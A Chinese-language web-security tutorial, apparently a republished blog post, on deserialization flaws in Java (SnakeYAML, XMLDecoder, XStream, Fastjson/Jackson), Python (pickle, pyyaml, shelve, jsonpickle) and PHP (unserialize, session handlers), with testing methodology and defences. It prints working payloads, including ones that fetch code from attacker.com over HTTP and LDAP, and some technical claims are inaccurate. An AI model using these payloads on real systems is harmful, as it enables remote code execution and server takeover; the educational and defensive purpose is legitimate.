当前位置： 首页 > news >正文

【Web安全】反序列化安全漏洞全解析：从原理到实战测试指南

news 2025/8/29 14:10:39

文章目录

    • 引言：反序列化漏洞的"隐形威胁"
    • 一、Java反序列化安全风险深度剖析
      • 1.1 SnakeYAML库：危险的`load`方法
      • 1.2 Serializable与Externalizable接口：`readObject`中的陷阱
      • 1.3 XmlDecoder：XML反序列化
      • 1.4 XStream：从XML到代码执行
      • 1.5 Fastjson与Jackson：JSON反序列化
    • 二、Python反序列化安全风险全解析
      • 2.1 pickle/cPickle：序列化
      • 2.2 pyyaml：YAML解析
      • 2.3 shelve模块：简易存储的风险
      • 2.4 jsonpickle：JSON与pickle的"混合风险"
    • 三、PHP反序列化安全漏洞详解
      • 3.1 unserialize函数
      • 3.2 PHP Session反序列化
    • 四、反序列化漏洞通用测试方法论
      • 4.1 黑盒测试流程
      • 4.2 白盒代码审计要点
      • 4.3 常用测试工具链
    • 五、应急响应与防御最佳实践
      • 5.1 漏洞验证与影响评估
      • 5.2 临时缓解措施
      • 5.3 彻底修复方案
    • 六、总结与展望

引言：反序列化漏洞的"隐形威胁"

序列化与反序列化是数据存储和传输的基础技术，广泛应用于对象持久化、跨网络通信、进程间数据交换等场景。

序列化将对象转换为可传输或存储的格式（如二进制流、XML、JSON等），反序列化则将这些格式还原为原始对象。

然而，当应用程序对不可信数据源进行反序列化操作时，攻击者可能通过构造恶意数据，触发代码执行、权限提升等严重安全问题。

对于安全测试人员而言，掌握反序列化漏洞的检测方法、利用技巧和防御策略，是保障应用安全的关键能力。

本文将系统梳理Java、Python、PHP三大语言中反序列化的高危风险点，结合实战案例详解测试方法，提供全面的安全检测指南，助力安全测试人员构建反序列化漏洞防御体系。

一、Java反序列化安全风险深度剖析

Java作为企业级应用的主流开发语言，其反序列化机制因复杂度高、涉及组件广，成为漏洞高发区。Java序列化通过java.io.Serializable接口实现，当对象被序列化时，其状态信息被转换为字节流；反序列化时，字节流被还原为对象，过程中会自动调用特定方法（如readObject），这为攻击者提供了可乘之机。

1.1 SnakeYAML库：危险的load方法

风险原理：SnakeYAML是Java中常用的YAML解析库，其Yaml.load()方法在解析YAML数据时，会自动实例化指定类并执行构造方法及相关逻辑。若解析的数据来自不可信来源，攻击者可构造包含恶意类的YAML payload，触发远程代码执行。

典型漏洞案例：某电商平台的配置文件解析功能使用SnakeYAML的load()方法处理用户上传的YAML配置，攻击者上传包含java.lang.Runtime类的恶意YAML数据，成功执行系统命令，获取服务器权限（类似CVE-2022-xxxxx场景）。

Payload构造示例：

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com/malicious.jar"]]]
]

该payload会让SnakeYAML加载远程恶意JAR包，执行其中的恶意代码。

安全测试方法：

  • 黑盒测试：寻找接受YAML格式输入的功能点（如配置上传、数据导入），尝试提交包含恶意类的YAML payload，观察是否执行预期命令（如创建文件、发起网络请求）。
  • 白盒审计：检查代码中是否存在Yaml.load()调用，跟踪输入源是否可控，是否存在输入过滤机制。

防御措施：

  • 优先使用Yaml.safeLoad()替代load()，safeLoad()仅支持有限的安全类（如基本类型、集合类）。

  • 若必须使用load()，通过Constructor类限制可实例化的类，例如：

    // 仅允许解析String和List类型
Constructor constructor = new Constructor();
constructor.addTypeDescription(new TypeDescription(String.class));
constructor.addTypeDescription(new TypeDescription(List.class));
Yaml yaml = new Yaml(constructor);

  • 对输入YAML数据进行严格校验，禁止包含!!（类指定标记）的内容。

1.2 Serializable与Externalizable接口：readObject中的陷阱

风险原理：实现Serializable接口的类可被序列化，反序列化时会自动调用readObject()方法（若定义）。攻击者可构造恶意序列化数据，使readObject()执行非预期逻辑（如命令执行、文件操作）。Externalizable接口的readExternal()方法同理，且因其更灵活的序列化控制，风险更高。

此外，readResolve()（用于指定反序列化返回的对象）和readObjectNoData()（当接收方没有序列化对象的类信息时调用）也可能成为攻击入口。

典型漏洞案例：Apache Commons Collections库（2015年爆发出名的反序列化漏洞）中，InvokerTransformer类的transform()方法可调用任意方法，攻击者通过构造包含该类的序列化链，结合readObject()触发，实现远程代码执行（CVE-2015-7501）。

攻击链构造逻辑：

  1. 寻找包含危险方法的类（如可执行命令的Runtime.exec()）；
  2. 找到能调用危险方法的中间类（如InvokerTransformer的transform()）；
  3. 构造序列化链，使readObject()在反序列化时触发整个调用链。

安全测试方法：

  • 黑盒测试：
    • 识别可能进行反序列化的功能点（如Cookie、Session、文件上传、RPC通信）；
    • 使用工具（如ysoserial）生成对应框架的恶意序列化数据，替换正常数据并发送；
    • 通过DNSlog、HTTP请求等方式验证命令是否执行（如ping dnslog-domain）。
  • 白盒审计：
    • 检查实现Serializable接口的类，重点关注readObject()方法是否有危险操作；
    • 跟踪反序列化输入源，确认是否对不可信数据进行过滤。

防御措施：

  • 避免对不可信数据进行反序列化，若必须使用，采用白名单机制限制可反序列化的类；
  • 在readObject()中添加输入验证逻辑，检查对象字段是否符合预期；
  • 使用Java Security Manager限制类加载和方法执行权限；
  • 升级依赖库至最新版本，修复已知反序列化漏洞（如Apache Commons Collections ≥3.2.2）；
  • 采用序列化数据加密和签名机制，验证数据完整性。

1.3 XmlDecoder：XML反序列化

风险原理：javax.xml.bind.XmlDecoder用于将XML数据反序列化为Java对象，但其readObject()方法在处理包含new、method等标签的XML数据时，可能执行任意代码。攻击者可构造恶意XML payload，触发命令执行。

Payload示例：

<java><object class="java.lang.Runtime" method="getRuntime"/><void method="exec"><string>calc.exe</string></void>
</java>

该XML会让XmlDecoder创建Runtime对象并执行calc.exe（Windows系统计算器）。

安全测试方法：

  • 寻找接受XML输入并使用XmlDecoder解析的功能（如SOAP接口、XML数据导入）；
  • 提交包含恶意方法调用的XML数据，观察是否执行命令；
  • 白盒审计代码中XmlDecoder.readObject()的调用，确认输入是否可控。

防御措施：

  • 避免使用XmlDecoder处理不可信XML数据，改用更安全的XML解析库（如JAXB带严格验证）；
  • 对XML输入进行Schema验证，禁止包含java.lang.Runtime、java.lang.ProcessBuilder等危险类的标签；
  • 限制XmlDecoder的类加载器权限，仅允许加载信任的类。

1.4 XStream：从XML到代码执行

风险原理：XStream是一款流行的Java XML序列化库，其fromXML()方法可将XML数据转换为对象。早期版本中，XStream默认允许反序列化任意类，攻击者通过构造包含恶意类的XML，可触发远程代码执行（如CVE-2021-39144）。

Payload示例：

<sorted-set><java.util.TreeSet><comparator class="java.util.stream.Stream$BuilderImpl"><lambdas><lambda><java.lang.ProcessBuilder><command><string>calc.exe</string></command><start/></java.lang.ProcessBuilder></lambda></lambdas></comparator></java.util.TreeSet>
</sorted-set>

安全测试方法：

  • 检测使用XStream的功能点（如API接口、数据导入），尝试提交上述恶意XML；
  • 确认XStream版本，查询是否存在已知反序列化漏洞（如版本＜1.4.18存在高风险）；
  • 白盒审计XStream.fromXML()的输入源，检查是否有安全配置（如类白名单）。

防御措施：

  • 升级XStream至1.4.18及以上版本，该版本默认启用安全模式；

  • 配置类白名单，限制可反序列化的类：

    XStream xstream = new XStream();
XStreamSecurityManager security = xstream.getSecurityManager();
security.allowTypesByWildcard(new String[]{"com.example.**"}); // 仅允许com.example包下的类

  • 避免直接反序列化不可信XML数据，采用数据清洗和验证。

1.5 Fastjson与Jackson：JSON反序列化

风险原理：Fastjson和Jackson是Java中常用的JSON解析库，虽主要用于JSON处理，但支持将JSON反序列化为Java对象。若配置不当（如Fastjson开启autoType，Jackson开启enableDefaultTyping），攻击者可构造包含恶意类的JSON payload，触发反序列化漏洞。

典型漏洞：

  • Fastjson：autoType功能允许JSON中指定类名（如@type":"com.sun.rowset.JdbcRowSetImpl"），攻击者可利用该特性加载危险类（CVE-2017-18349、CVE-2022-25845等）。
  • Jackson：早期版本的enableDefaultTyping会导致类似风险，可通过@class指定类名触发攻击（CVE-2017-7525）。

Payload示例（Fastjson）：

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com/malicious","autoCommit": true
}

该payload会让Fastjson加载JdbcRowSetImpl类，触发LDAP请求加载远程恶意类。

安全测试方法：

  • 检测JSON接口是否支持类型指定（如包含@type、@class字段）；
  • 提交包含危险类的JSON数据，通过LDAP/RMI日志或DNSlog验证是否触发请求；
  • 确认库版本，检查是否存在已知漏洞（如Fastjson＜1.2.83存在风险）。

防御措施：

  • 升级至最新版本（Fastjson ≥1.2.83，Jackson ≥2.12.0）；
  • 禁用危险配置：
    • Fastjson：关闭autoType（ParserConfig.getGlobalInstance().setAutoTypeSupport(false)）；
    • Jackson：避免使用enableDefaultTyping，改用activateDefaultTyping并限制类型；
  • 配置类白名单，仅允许反序列化信任的类；
  • 对输入JSON中的类型字段进行过滤，禁止包含危险类名。

二、Python反序列化安全风险全解析

Python作为动态编程语言，其序列化机制（如pickle）设计上允许执行任意代码，这使得反序列化漏洞更易被利用。Python反序列化漏洞主要集中在pickle模块及基于其实现的第三方库（如pyyaml、shelve）。

2.1 pickle/cPickle：序列化

风险原理：Python的pickle模块（Python2中的cPickle是其C语言实现）用于对象序列化，但其反序列化（load/loads）过程会执行__reduce__等魔法方法中定义的代码。攻击者可构造恶意pickle数据，使load/loads执行任意命令。

攻击原理示例：

import pickle
import osclass Malicious:def __reduce__(self):# __reduce__返回的元组会在反序列化时执行return (os.system, ('calc.exe',))# 生成恶意pickle数据
payload = pickle.dumps(Malicious())# 反序列化时执行calc.exe
pickle.loads(payload)

典型漏洞场景：某Python Web应用使用pickle序列化用户会话数据并存储在Cookie中，攻击者修改Cookie中的pickle数据为恶意payload，服务器反序列化时执行命令，获取权限。

安全测试方法：

  • 黑盒测试：
    • 识别使用pickle处理数据的功能（如Cookie、缓存、文件上传）；
    • 尝试替换数据为恶意pickle payload（可通过pickle.dumps()生成）；
    • 验证命令执行（如通过curl http://attacker.com查看日志）。
  • 白盒审计：
    • 搜索代码中pickle.load()、pickle.loads()的调用，确认输入是否来自不可信源；
    • 检查是否对输入数据进行签名或加密验证。

防御措施：

  • 禁止对不可信数据使用pickle反序列化，优先使用JSON（json模块）等安全格式；
  • 若必须使用，对pickle数据进行加密和签名（如使用cryptography库），验证完整性；
  • 采用沙箱环境（如restrictedpython）限制反序列化过程中的代码执行权限；
  • 升级Python至3.8及以上，利用其更严格的字节码验证机制。

2.2 pyyaml：YAML解析

风险原理：pyyaml是Python的YAML解析库，其yaml.load()方法（默认配置下）支持解析!!python/object等标签，可实例化任意Python类并执行其构造方法及相关逻辑，存在远程代码执行风险。

Payload示例：

!!python/object/apply:os.system ["calc.exe"]

该YAML数据在yaml.load()解析时会执行os.system("calc.exe")。

安全测试方法：

  • 寻找接受YAML输入的功能点（如配置文件上传、API参数）；
  • 提交包含!!python/object、!!python/object/apply等标签的YAML数据；
  • 检查是否执行预期命令（如创建文件、发起网络请求）。

防御措施：

  • 强制使用yaml.safe_load()替代yaml.load()，safe_load()仅支持基本数据类型；

  • 若需解析自定义类，使用yaml.Loader并定义安全的构造器：

    class SafeLoader(yaml.SafeLoader):# 仅允许加载指定类pass
SafeLoader.add_constructor('!MyClass', my_class_constructor)
data = yaml.load(yaml_str, Loader=SafeLoader)

  • 对输入YAML进行过滤，移除包含!!python的危险标签。

2.3 shelve模块：简易存储的风险

风险原理：shelve模块用于简单的键值对存储，其内部基于pickle实现。调用shelve.open()打开数据库时，会对存储的键值对进行反序列化，若数据库文件可控，攻击者可构造恶意数据触发代码执行。

漏洞示例：某应用使用shelve存储用户配置，配置文件位于/tmp/user_configs/目录且权限宽松，攻击者替换配置文件为恶意pickle数据，应用加载时执行命令。

安全测试方法：

  • 检查应用是否使用shelve模块，确认数据库文件的存储路径和权限；
  • 尝试替换数据库文件为恶意pickle数据，观察应用是否执行命令；
  • 白盒审计shelve.open()的参数，确认文件路径是否可控。

防御措施：

  • 限制shelve数据库文件的存储路径和权限（如仅允许root用户读写）；
  • 避免使用shelve处理不可信数据，改用SQLite等更安全的存储方式；
  • 对shelve文件进行加密和校验，防止篡改。

2.4 jsonpickle：JSON与pickle的"混合风险"

风险原理：jsonpickle是一款将Python对象序列化为JSON的库，其jsonpickle.decode()方法在反序列化时会解析JSON中的类信息，通过pickle机制重建对象，因此继承了pickle的安全风险。

Payload示例：

{"py/object": "os.system", "py/args": ["calc.exe"]}

jsonpickle.decode()解析该JSON时，会执行os.system("calc.exe")。

安全测试方法：

  • 检测使用jsonpickle的功能点（如API数据交换），提交包含"py/object"的JSON；
  • 验证是否执行命令，确认输入是否可控。

防御措施：

  • 避免使用jsonpickle.decode()处理不可信JSON，改用标准json模块；

  • 若必须使用，通过unpickler参数限制可反序列化的类：

    import jsonpickle
from jsonpickle.unpickler import Unpicklerclass SafeUnpickler(Unpickler):def find_class(self, module, name):# 仅允许特定类if module == 'myapp' and name in ['User', 'Config']:return super().find_class(module, name)raise pickle.UnpicklingError("Unsafe class")data = jsonpickle.decode(json_str, unpickler=SafeUnpickler)

三、PHP反序列化安全漏洞详解

PHP的反序列化机制因灵活性高、缺乏严格限制，成为Web应用中常见的漏洞来源。PHP通过serialize()和unserialize()实现对象序列化，当unserialize()处理不可信数据时，可能触发对象注入攻击。

3.1 unserialize函数

风险原理：unserialize()在还原对象时，会自动调用对象的魔术方法（如__wakeup()、__destruct()、__toString()等）。若类中定义的魔术方法包含危险操作（如文件写入、数据库查询），攻击者可构造恶意序列化字符串，控制方法执行流程，实现代码执行、文件读取等攻击。

漏洞示例：

class FileHandler {private $filename;function __destruct() {// 魔术方法：对象销毁时执行file_put_contents($this->filename, "恶意内容");}
}// 攻击者构造的序列化字符串
$payload = 'O:11:"FileHandler":1:{s:14:"filename";s:10:"shell.php";}';// 反序列化时触发__destruct()，写入shell.php
unserialize($payload);

典型漏洞案例：Drupal CMS的CVE-2017-6920漏洞，攻击者利用unserialize()处理不可信数据，结合特定类的魔术方法，执行远程代码，获取服务器控制权。

安全测试方法：

  • 黑盒测试：
    • 寻找接受序列化字符串的参数（如Cookie、表单字段、URL参数）；
    • 分析应用使用的类，构造包含恶意属性的序列化字符串；
    • 通过写入webshell、执行命令等方式验证漏洞（如生成phpinfo()的文件）。
  • 白盒审计：
    • 搜索unserialize()调用，确认参数是否来自用户输入；
    • 分析相关类的魔术方法，判断是否存在可利用的危险操作（如file_put_contents、exec）。

防御措施：

  • 避免对不可信数据使用unserialize()，改用JSON格式（json_encode/json_decode）；

  • 对序列化字符串进行签名验证（如使用hash_hmac），确保数据未被篡改；

  • 定义__unserialize()方法（PHP 7.4+），在反序列化时对属性进行严格验证；

  • 限制反序列化的类范围，通过白名单机制仅允许信任的类：

    function safe_unserialize($data) {$allowed_classes = ['User', 'Config'];return unserialize($data, ['allowed_classes' => $allowed_classes]);
}

3.2 PHP Session反序列化

风险原理：PHP Session用于存储用户会话数据，默认以文件形式存储在服务器。Session数据的序列化与反序列化方式由session.serialize_handler控制（默认php）。当应用使用不同的序列化处理器存储和读取Session数据时，可能导致反序列化漏洞。

漏洞场景：

  1. 应用A使用php_serialize处理器存储Session（格式：key|s:len:"value";）；
  2. 应用B使用php处理器读取同一Session（格式：key:len:"value";）；
  3. 攻击者构造特殊Session值（如user|O:11:"FileHandler":1:{...}），应用B读取时会将user|O:11:...解析为对象，触发反序列化。

安全测试方法：

  • 检查应用的Session配置（session.serialize_handler），确认存储和读取是否使用不同处理器；
  • 尝试在Session中注入恶意序列化字符串，观察是否触发对象注入；
  • 测试Session固定攻击结合反序列化的可能性。

防御措施：

  • 确保Session的存储和读取使用相同的序列化处理器；
  • 限制Session文件的访问权限，防止未授权修改；
  • 对Session数据进行加密，避免明文篡改；
  • 升级PHP至7.1及以上，使用session.upload_progress.cleanup等安全配置。

四、反序列化漏洞通用测试方法论

4.1 黑盒测试流程

  1. 信息收集：

    • 识别应用使用的技术栈（Java/Python/PHP、框架、第三方库）；
    • 寻找可能涉及反序列化的功能点（文件上传、数据导入、API接口、Cookie/Session）；
    • 分析数据传输格式（二进制、XML、JSON、YAML等）。

  2. 漏洞探测：

    • 针对不同语言和库，使用对应payload进行测试（如Java用ysoserial生成，Python用pickle构造）；
    • 利用DNSlog、HTTP回调等方式验证漏洞（避免直接执行破坏性命令）；
    • 测试不同数据长度和格式，观察应用报错信息（可能泄露反序列化逻辑）。

  3. 漏洞验证：

    • 执行明确可控的操作（如创建特定文件、写入固定内容）；
    • 结合应用上下文，确认漏洞的实际影响范围（如是否可执行系统命令、是否有权限限制）。

  4. 漏洞利用：

    • 根据验证结果，构造更复杂的payload（如获取shell、提权）；
    • 考虑绕过防御机制（如过滤、WAF），对payload进行编码或变形。

4.2 白盒代码审计要点

  1. 危险函数定位：

    • Java：readObject()、load()、fromXML()、parse()等；
    • Python：pickle.load()、yaml.load()、shelve.open()等；
    • PHP：unserialize()、session_start()（结合处理器配置）。

  2. 输入源追踪：

    • 确认危险函数的参数是否来自用户可控输入（如HTTP请求参数、文件内容）；
    • 检查输入是否经过过滤、验证或净化（如白名单校验、格式转换）。

  3. 依赖库风险分析：

    • 检查第三方库版本，查询是否存在已知反序列化漏洞（如使用mvn dependency-check、safety check）；
    • 分析库的默认配置是否安全（如Fastjson的autoType是否开启）。

4.3 常用测试工具链

  • Java：

    • ysoserial：生成多种Java库的反序列化payload；
    • Burp Suite + Deserialization Scanner：自动化检测Java反序列化漏洞；
    • GadgetProbe：探测目标应用中存在的可利用Gadget（攻击链组件）。

  • Python：

    • pickletools：分析pickle数据结构；
    • yamlscanner：检测pyyaml反序列化风险；
    • requests + 自定义脚本：构造并发送恶意payload。

  • PHP：

    • PHPGGC：生成PHP各种框架的反序列化payload；
    • Burp Suite + PHP Object Injection Scanner：自动化检测工具；
    • Docker环境：模拟不同PHP版本和配置的测试环境。

五、应急响应与防御最佳实践

5.1 漏洞验证与影响评估

  • 确认漏洞存在后，立即隔离受影响系统，避免扩大影响；
  • 评估漏洞的利用难度（如是否需要特定条件、是否有前置漏洞）；
  • 检查日志，确定是否已被攻击者利用（如异常命令执行记录、陌生文件创建）。

5.2 临时缓解措施

  • 阻断攻击源：通过防火墙、WAF拦截包含恶意payload的请求；
  • 限制功能：暂时关闭涉及反序列化的功能点（如文件上传、数据导入）；
  • 输入过滤：紧急添加规则，过滤危险关键字（如java.lang.Runtime、!!python）。

5.3 彻底修复方案

  • 升级组件：将存在漏洞的库更新至最新安全版本；
  • 替换危险方法：使用安全替代方案（如safeLoad替代load）；
  • 实施白名单：严格限制可反序列化的类和方法；
  • 数据验证：对输入进行严格校验，包括格式、长度、内容；
  • 加密签名：对序列化数据进行加密和签名，确保完整性和真实性；
  • 安全监控：部署日志审计和异常检测，及时发现攻击行为。

六、总结与展望

反序列化漏洞作为横跨多语言的"通用型"安全风险，其危害之大、隐蔽性之强，一直是安全测试的重点和难点。随着攻防对抗的升级，攻击者不断发现新的利用链，防御技术也在持续演进（如更严格的默认配置、动态沙箱检测）。

对于安全测试人员而言，需建立"全生命周期"的漏洞检测思维：在开发阶段参与代码审计，识别潜在风险；在测试阶段通过黑盒与白盒结合的方式挖掘漏洞。同时，需持续关注新漏洞披露和防御技术发展，不断更新知识体系。

本文是「Web安全」系列内容，点击专栏导航查看全部内容。

http://www.dtcms.com/a/355987.html

相关文章：

  • Vue3 Pinia 中 store.$dispose()的用法说明
  • Vue3组件加载顺序
  • vue项目运行后自动在浏览器打开
  • 使用npm init vue@latest 基于vite创建的vue项目
  • 特色领域数据集：以数据之力，赋能多元行业发展
  • three 点位图
  • HT338立体声D类音频功放
  • 消息推送与 WebSocket 学习
  • Node.js终极文本转图指南
  • 基于SpringBoot的学科竞赛管理系统
  • 请详细介绍RuntimeInit.java中的MethodAndArgsCaller类
  • 架构设计——云原生与分布式系统架构
  • nginx的启动 、 停止、重载命令
  • node，nvm，vscode下载安装教程（windows版本）
  • AI“炼”金术：从数据到智能的蜕变
  • Shell 脚本编程完全指南
  • HFSS许可证与版本兼容性
  • 智慧清洁革命：有鹿机器人如何重塑三大行业未来
  • AbpvNext问题记录——post接口，接收前端发送的空串转换数字异常问题。
  • Orgin绘制热力图
  • 财务报表包括哪些？一文讲清财务三大表
  • DMN6140L-13 电子元器件 Diodes美台N沟道增强型功率MOSFET
  • Codeforces Round 1043 (Div. 3) E. Arithmetics Competition
  • docker搭建Apisix和Apisix Dashboard
  • 智能仪表板DevExpress Dashboard v25.1新版亮点：增强数据管理功能
  • rk键盘 用蓝牙链接 教程
  • 实战演练（一）：从零构建一个功能完备的Todo List应用
  • C++(Qt)软件调试---vcpkg安装crashpad（34）
  • 金融Agent+LLM的特性分析与调研
  • C#并行计算(SIMD)应用